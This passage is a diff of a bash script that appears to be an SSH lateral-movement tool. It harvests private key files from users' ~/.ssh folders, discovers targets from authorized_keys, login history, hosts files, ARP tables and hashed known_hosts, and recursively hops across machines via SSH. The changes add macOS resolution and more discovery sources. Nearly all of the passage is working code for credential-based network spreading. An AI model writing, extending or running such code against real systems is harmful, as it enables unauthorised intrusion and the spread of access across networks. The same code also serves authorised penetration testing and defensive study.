done < <(${s} find -L "$home_folder/.ssh" -type f -readable 2>/dev/null)
done
}
@ -1303,7 +1335,7 @@ find_from_authorized_keys() {
add_ssh_host "$ssh_host"
[[ -n "$home_user" ]] && add_ssh_dest "$home_user@$ssh_host"
done < <(echo "$ssh_address" | awk -F"\\\'|\\\"" '{print $2}' | tr ',' '\n' | sort -u)
done < <(${s} grep -F 'from=' -- "$ssh_file" | awk -F"\\\'|\\\"" '{print $2}' | tr ',' '\n' | sort -u)
done < <(${s} grep -F 'from=' -- "$ssh_file" 2>/dev/null | awk -F"\\\'|\\\"" '{print $2}' | tr ',' '\n' | sort -u)
done
}
@ -1311,7 +1343,6 @@ find_from_authorized_keys() {
find_from_last() {
local ssh_dest
command -v "last" >/dev/null 2>&1 || return
last -aiw >/dev/null 2>&1 || return
while IFS= read -r ssh_dest; do
@ -1363,7 +1394,11 @@ find_from_hosts() {
while IFS= read -r ssh_host; do
add_ssh_host "$ssh_host"
done < <(getent ahostsv4 2>/dev/null | awk -F" " '{print $NF}' | tr ' ' '\n' | sort -u) # skip ipv6 for now
done < <(getent ahostsv4 2>/dev/null | awk -F" " '{print $NF}' | tr ' ' '\n' | sort -u) # skip ipv6 for now, might be tab.
while IFS=": " read -r _ ssh_host; do
add_ssh_host "$ssh_host"
done < <(dscacheutil -q host 2>/dev/null | grep -F 'ip_address:' | sort -u)
}
# Neighbouring hosts that announce themselves via ARP may be interesting.
@ -1373,6 +1408,10 @@ find_arp_neighbours() {
while IFS= read -r ssh_host; do
add_ssh_host "$ssh_host"
done < <(ip neigh 2>/dev/null | awk '$1 !~ /(\.1$|:)/ {print $1}' | sort -u) # ignore ipv6 and ignore gateway
while IFS= read -r ssh_host; do
add_ssh_host "$ssh_host"
done < <(arp -a 2>/dev/null | awk -F"\\\(|\\\)" '{print $2}' | awk '$1 !~ /(\.1$|:)/ {print $1}' | sort -u) # ignore ipv6 and ignore gateway
}
# Neighbouring d-block hosts (x.x.x.0-x.x.x.255) may be interesting.
@ -1509,7 +1548,7 @@ find_from_hashed_known_hosts() {
IFS='.' read -ra octets < <(echo "$current_ip")
[[ ${#octets[@]} -eq 4 ]] || continue
if command -v "xargs" >/dev/null 2>&1; then
if command -v xargs >/dev/null 2>&1; then
for i in {0..255}; do
# break if there are no hashed known hosts left.
[[ $hashed_number -lt 1 ]] && break
@ -1633,10 +1672,33 @@ combinate_interesting_users_hosts() {
}
# Deduplicate ssh_dests by resolving the hosts for each ssh_dest, checking whether the user, host, or resolved dest is ignored, then adding the destinations back to the original ssh_dests array.
# TODO: doesn't support hosts with multiple hosts (4 ips for 1 domain), and in fact may even break that.
deduplicate_resolved_hosts_keys() {
local ssh_dest
declare -A valid_ssh_dests
declare -A resolved_hosts
local res
local mac
local to
# DNS timeout of 5 seconds per address (bleh, hack).
if command -v timeout >/dev/null 2>&1; then
to="timeout 5"
fi
# Use getent if it's available.
if getent ahostsv4 -- 1.1.1.1 >/dev/null 2>&1; then
res="$to getent ahostsv4 --"
# Otherwise dscacheutils for mac.
elif dscacheutil -q host -a name 1.1.1.1 >/dev/null 2>&1; then
res="$to dscacheutil -q host -a name"
mac="1"
else
# If we can't use getent or dscacheutil, we're on an unknown type of system (with bash?!)
# Use printf instead of chained_print() to be consistent.
printf "INTERNAL_MSG: command not found: RESOLVE (%s)\n" "$(uname -a 2>/dev/null)"
fin
fi
# Pre-resolve each host concurrently in the hope that the answers will be cached.
for ssh_dest in "${!ssh_dests[@]}"; do
@ -1647,7 +1709,7 @@ deduplicate_resolved_hosts_keys() {
[[ -v 'resolved_hosts["$ssh_host"]' || ${#resolved_hosts["$ssh_host"]} -gt 0 ]] && continue
resolved_hosts["$ssh_host"]=1
(getent ahostsv4 -- "$ssh_host" > /dev/null 2>&1 &)
($res "$ssh_host" > /dev/null 2>&1 &)
done
wait
@ -1671,11 +1733,17 @@ deduplicate_resolved_hosts_keys() {
if [[ -v 'resolved_hosts["$ssh_host"]' || ${#resolved_hosts["$ssh_host"]} -gt 0 ]]; then
resolved_ssh_host="${resolved_hosts["$ssh_host"]}"
else
# If the host has not already been resolved, resolve it using getent.
resolved_ssh_host="$(getent ahostsv4 -- "$ssh_host" 2>/dev/null)"
resolved_ssh_host="${resolved_ssh_host%% *}"
# If the host has not already been resolved, resolve it.
# macos
if [[ -n "$mac" ]]; then
resolved_ssh_host="$($res "$ssh_host" 2>/dev/null | grep -F 'ip_address:')"
resolved_ssh_host="${resolved_ssh_host#* }" # format is 'ip_address: ip'
else
resolved_ssh_host="$($res "$ssh_host" 2>/dev/null)"
resolved_ssh_host="${resolved_ssh_host%% *}" # format is 'ip\t[junk]
fi
# Answer must begin with 1 or 2 (getent ahosts v4 0.1.2.3 will respond with 0.1.2.3).
# Answer must begin with 1 or 2 ($res 0.1.2.3 will respond with 0.1.2.3).
if [[ "${resolved_ssh_host:0:1}" =~ [12] ]]; then
[[ "$resolved_ssh_host" =~ ^127\. ]] && resolved_ssh_host="127.0.0.1" # If it's loopback, always use 127.0.0.1
# Cache the host
@ -1837,10 +1905,18 @@ rs_chained_print() {
}
# Call rs_chained_print twice, with separate chains.
# $1 is chain 1, $2 is chain 2, and $3 is what to print.
# $1 is chain 1, $2 is chain 2, and $3 is what to print
double_rs_chained_print() {
local ssh_dest
local ssh_host
local ssh_user
ssh_dest="$3"
ssh_user="${ssh_dest%%@*}"
ssh_host="${ssh_dest#*@}"
rs_chained_print "$1" "$3"
rs_chained_print "$2" "($3)"
rs_chained_print "$2" "$ssh_user@($ssh_host)"
}
# The main SSH function of the script.
@ -1910,7 +1986,7 @@ recursive_scan() {
# It may be useful to take the ignore_list and set those ip destinations as ignored_dests.
if [[ "$line" == *"Argument list too long"* ]]; then
double_rs_chained_print "$t_hosts_chain" "$t_hostnames_chain" "$ssh_dest"
rs_chained_print "$t_hosts_chain" "$ssh_dest [ARG_LIMIT:$(getconf -a | awk '/ARG_MAX/{print $NF; exit}'), $(printf "%s" "$ignore_list" | base64 | tr -d '\n')]"
rs_chained_print "$t_hosts_chain" "$ssh_dest [ARG_LIMIT:$(getconf -a 2>/dev/null | awk '/ARG_MAX/{print $NF; exit}'), $(printf "%s" "$ignore_list" | base64 | tr -d '\n')]"
printf "INTERNAL_MSG: ARG_LIMIT\n"
fin
fi
@ -2013,7 +2089,7 @@ recursive_scan() {
# Github, too.
#
# Invalid command: cmd
if [[ "$line" == "Invalid command:"* ]]; then #Github
if [[ "$line" == "Invalid command: "* || "$line" == "exec request failed on channel "* ]]; then #Github
double_rs_chained_print "$t_hosts_chain" "$t_hostnames_chain" "$ssh_dest"
rs_chained_print "$t_hosts_chain" "$ssh_dest [GitHub]"
break